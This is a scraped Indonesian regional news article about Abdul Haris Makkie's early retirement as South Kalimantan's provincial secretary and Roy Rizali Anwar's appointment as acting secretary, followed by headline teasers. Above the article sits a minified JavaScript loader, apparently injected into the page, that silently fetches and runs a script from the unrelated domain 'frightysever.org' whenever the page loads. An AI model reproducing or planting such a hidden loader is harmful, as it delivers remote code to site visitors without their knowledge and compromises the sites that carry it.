(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jabatan Sekretaris Daerah (Sekda) Provinsi Kalimantan Selatan dipastikan kosong, menyusul Abdul Haris Makkie yang memutuskan diri mengambil pensiun dini sebagai Apartur Sipil Negara (ASN).
Atas kondisi ini, Selasa (1/9/2020) pagi, Gubernur Kalsel H Sahbirin Noor mengambil keputusan strategis untuk mengisi kekosongan jabatan Sekda Kalsel.
Dalam hal ini, Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel Roy Rizali Anwar ditunjuk sebagai pengisi jabatan tersebut. Sementara waktu mengisis jabatan Sekda Kalsel alias ditunjuk menjadi Pelaksana Harian (Plh) Sekda Kalsel.
“Posisi Sekda itu sangat penting bagi insitusi pemerintahan daerah. Maka sesuai perintah Gubernur, kami segera membuatkan SK untuk menetapkan Roy Rizali Anwar sebagai Plh Sekda Kalsel terhitung 1 September 2020,” kata Kepala Badan Kepegawaian Daerah (BKD) Kalsel Sulkan.
Terkait usulan pengunduran diri Haris Makkie, kata Sulkan, telah mendapatkan persetujuan teknis dari Badan Kepegawaian Negara (BKN). Saat ini, pihaknya akan memproses pengusulan Roy Rizali Anwar untuk mengisi ke kekosongan jabatan tersebut.
“Kebijakan pimpinan terkait usulan penjabat pelaksana tugas, akan kita usulkan kembali ke Mendagri. Kita juga akan membentuk pansel (panitia seleksi) untuk melakukan seleksi jabatan Sekda definitif dan akan diusulkan kembali ke pusat,” jelasnya.
Perlu diketahui beberapa bulan yang lalu, Roy Rizali Anwar juga ditunjuk sebagai Plt Kepala Pelaksana Harian BPBD Provinsi Kalsel. Artinya, dengan keputusan terbaru ini, Roy telah mengisi 3 jabatan strategis di Pemprov Kalsel, baik itu Kepala Dinas PUPR, Plt Pelaksana Harian BPBD, dan Plh Sekda Prov Kalsel
Sementara itu, Roy Rizali Anwar menyatakan kesiapan diri dan akan bekerja secara maksimal untuk melaksanakan amanah pimpinan.
“Kita akan segera menguatkan koordinasi dengan SKPD dan ASN untuk bersama meningkatkan kualitas birokrasi pemerintahan,” ucapnya.
Putusan Abdul Haris Makie memilih pensiun dini dari ASN menyusul rencana dirinya yang akan berlaga dalam Pilkada Kota Banjarmasin. Dimana seorang ASN harus menanggalkan atribut abdi negaranya alias mengajukan pensiun lebih dini sesuai dengan ketentuan perundang-undangan. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
This website uses cookies.